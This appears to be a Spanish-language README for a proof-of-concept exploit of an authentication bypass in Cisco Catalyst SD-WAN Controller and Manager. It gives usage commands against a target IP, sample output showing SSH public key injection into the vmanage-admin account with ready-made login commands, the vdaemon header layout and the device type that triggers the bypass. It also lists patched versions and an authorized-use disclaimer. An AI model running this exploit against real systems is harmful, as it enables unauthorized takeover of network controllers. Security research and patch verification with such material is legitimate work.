
CVE-2026-20182 PoC - Bypass de autenticación en Cisco Catalyst SD-WAN Controller / Manager (CVSS 10.0)
Un exploit de prueba de concepto para CVE-2026-20182, un bypass de autenticación crítico (CVSS 10.0) en el servicio vdaemon DTLS (UDP/12346) en Cisco Catalyst SD-WAN Controller (vSmart) y Manager (vManage).
Divulgado: 14 de mayo de 2026 por Rapid7 (Stephen Fewer y Jonah Burgess)
CISA KEV: Añadido el 14 de mayo de 2026 (Directiva de Emergencia 26-03)
CVSS: 10.0 — CWE-287: Autenticación Incorrecta
El servicio vdaemon utiliza un handshake DTLS multifase para autenticar pares del plano de control. La función vbond_proc_challenge_ack() implementa la verificación de certificados específica del tipo de dispositivo — pero el tipo de dispositivo 2 (vHub) no tiene una ruta de código de verificación. Enviar un CHALLENGE_ACK con device_type=2 hace que la función pase por todas las condicionales y establezca incondicionalmente peer->authenticated = 1.
No se requieren credenciales válidas, ningún certificado firmado por CA ni conocimiento del despliegue SD-WAN.
/home/vmanage-admin/.ssh/authorized_keys mediante MSG_VMANAGE_TO_PEER (msg_type=14)vmanage-adminpython3 cve-2026-20182.py -t <target> [options]
| Argumento | Descripción |
|---|---|
-t, --target | IP o nombre de host del objetivo |
--port | Puerto UDP de vdaemon (por defecto: 12346) |
--key-file | Ruta a una clave pública SSH existente para inyectar (opcional) |
--netconf | Verificar la explotación conectándose a NETCONF vía SSH |
# Generate a fresh key pair and exploit
python3 cve-2026-20182.py -t 192.168.1.100
# Use an existing public key
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub
# Exploit and verify via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...
[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
| Versión | Versión Corregida |
|---|---|
| < 20.9 | Migrar a una versión compatible |
| 20.9 | 20.9.9.1 |
| 20.10 | 20.12.7.1 |
| 20.11 | 20.12.7.1 |
| 20.12 | 20.12.5.4 / 20.12.6.2 / 20.12.7.1 |
| 20.13 | 20.15.5.2 |
| 20.14 | 20.15.5.2 |
| 20.15 | 20.15.4.4 / 20.15.5.2 |
| 20.16 | 20.18.2.2 |
| 20.18 | 20.18.2.2 |
| 26.1.1 | 26.1.1.1 |
cisco_sdwan_vhub_auth_bypass — Módulo auxiliar en el framework MetasploitEl encabezado del protocolo vdaemon tiene 12 bytes:
| Desplazamiento | Tamaño | Campo | Notas |
|---|---|---|---|
| 0 | 1 | msg_type | Nibble bajo = tipo, nibble alto = versión |
| 1 | 1 | device_info | Nibble alto = device_type, nibble bajo = flags |
| 2 | 1 | flags | Valor estándar 0xA0 |
| 3 | 1 | padding | Siempre 0x00 |
| 4-7 | 4 | domain_id | Big-endian uint32 |
| 8-11 | 4 | site_id | Big-endian uint32 |
Tipos de dispositivo: 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage
openssl CLI (para transporte DTLS)cryptography (pip install cryptography)Este exploit está destinado exclusivamente a operaciones autorizadas de red team, pruebas de penetración e investigación de seguridad en sistemas donde se tenga permiso explícito por escrito. El uso no autorizado es ilegal.